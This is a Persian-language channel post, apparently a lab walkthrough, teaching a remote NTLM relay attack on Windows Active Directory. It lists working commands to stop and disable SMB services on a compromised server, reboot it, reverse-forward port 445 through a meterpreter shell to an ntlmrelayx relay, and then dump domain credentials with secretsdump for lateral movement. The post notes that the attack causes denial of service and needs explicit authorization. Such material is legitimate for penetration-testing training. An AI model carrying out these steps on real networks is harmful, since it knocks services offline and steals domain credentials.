⭕ امروز می خوام یک وکتور دیگه از NTLM Relay رو بررسی کنم. این وکتور به خاطر ویژگی های exploiting زیاد استفاده نشده، ولی دونستنش مفیده.
اینجا حرف از Remote NTLM Relay هست: حمله‌ای که با متوقف‌سازی اجباری سرویس های SMB روی سرور و راه‌اندازی مجدد اون ها کار میکنه، به‌طوری که ترافیک واردشون روی پورت 445 پس از ری استارت به ماشین مهاجم هدایت بشه. به این ترتیب مهاجم میتونه سشن های ورودی رو به هر جایی که می‌خواد رله کنه.
برای exploiting باید چند مرحله ساده رو انجام بدیم.
💢 مرحله 1 > آماده سازی سرور
برای آماده سازی سرور جهت exploiting، باید سرویس های SMB رو غیرفعال و سرور رو ری استارت کنیم. مراحل به صورت کلی اینه:
1. غیرفعالسازی NetLogon:
sc stop netlogon
2. غیرفعال و متوقف‌کردن SMB Server (LanManServer):
sc stop lanmanserver
sc config lanmanserver start= disabled
3. توقف کامل LanManWorkstation:
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
این مراحل توی اسکرین شات اول قابل مشاهده‌ست.
بعد از غیرفعالسازی سرویس‌ها باید ماشین رو ری استارت کنیم (
shutdown /r /t 0) خیلی مهمه که دستگاه ری استارت بشه نه اینکه خاموش بشه.پس از بوت شدن مجدد و به‌دست آوردن شل روی سرور (در این سناریو من از meterpreter استفاده کردم)، می‌تونیم به مرحله بعد بریم.
💢 مرحله 2 > تنظیم ماشین مهاجم
روی ماشین مهاجم برای رله کردن NTLM از اسکریپت ntlmrelayx.py از مجموعهٔ Impacket استفاده میکنیم. در مثالی که من اجرا کردم، هدف سرور
10.201.126.30 بود (چون برای این هدف SMB نیازی به signing نداشت). پراکسی ای که استفاده میکنیم روی پورت 1090 listening میکنه، بنابراین دستور اجرا شبیه اینه:proxychains impacket-ntlmrelayx -t smb://10.201.126.30 -smb2support -socks -socks-port 1090
💢 مرحله 3 > TCP relay با meterpreter
با شلی که در مرحلهٔ اول گرفتیم، ترافیک ورودی به پورت
445/TCP روی سرور رو به ماشین مهاجم (که رله رو انجام می‌ده) فوروارد/ریدایرکت می کنیم. مثال دستور:portfwd add -R -L 10.51.124.39 -l 445 -p 445
اگر همه چیز رو درست انجام بدیم، باید بتونیم یک سشن بگیریم و با موفقیت اون رو رله کنیم مثل چیزی که توی اسکرین شات سوم می بینید.
💢 مرحله 4 > Post-exploitation
بعد از اینکه رله موفق باشه،
ntlmrelayx.py معمولاً سشن رو باز نگه میداره؛ بنابراین با ساخت یک کانفیگ سفارشی برای proxychains می تونیم از ابزارهای دیگهٔ Impacket-like برای کارهای post-exploitation استفاده کنیم.در سناریوی من، کاربری که سشنش رله شد سطح بالایی از دسترسی ها روی ماشین تارگت داشت؛ بنابراین منطقیه از secretsdump.py برای استخراج اعتبارنامه‌ها و lateral movement در دامنه استفاده کنیم:
proxychains -f p4-ntlm-relay.conf impacket-secretsdump -no-pass HOLOLIVE/SRV-ADMIN@10.201.126.30
چرا این وکتور کمتر رایجه؟
دلیل اینکه این وکتور خیلی گسترده نشده، ماهیت مخرب و تخریبی اون هست:
غیرفعال‌کردن سرویس های SMB روی یک سرور فعال باعث DoS و توقف سرویس میشه. در محیط های واقعی این عواقب میتونن مشکلات جدی ایجاد کنن بنابراین اجرای این حمله تنها باید با مجوز صریح (explicit authorization) از مشتری/مالک شبکه انجام بشه.
@TryHackBox
#AD #NTLM #Attack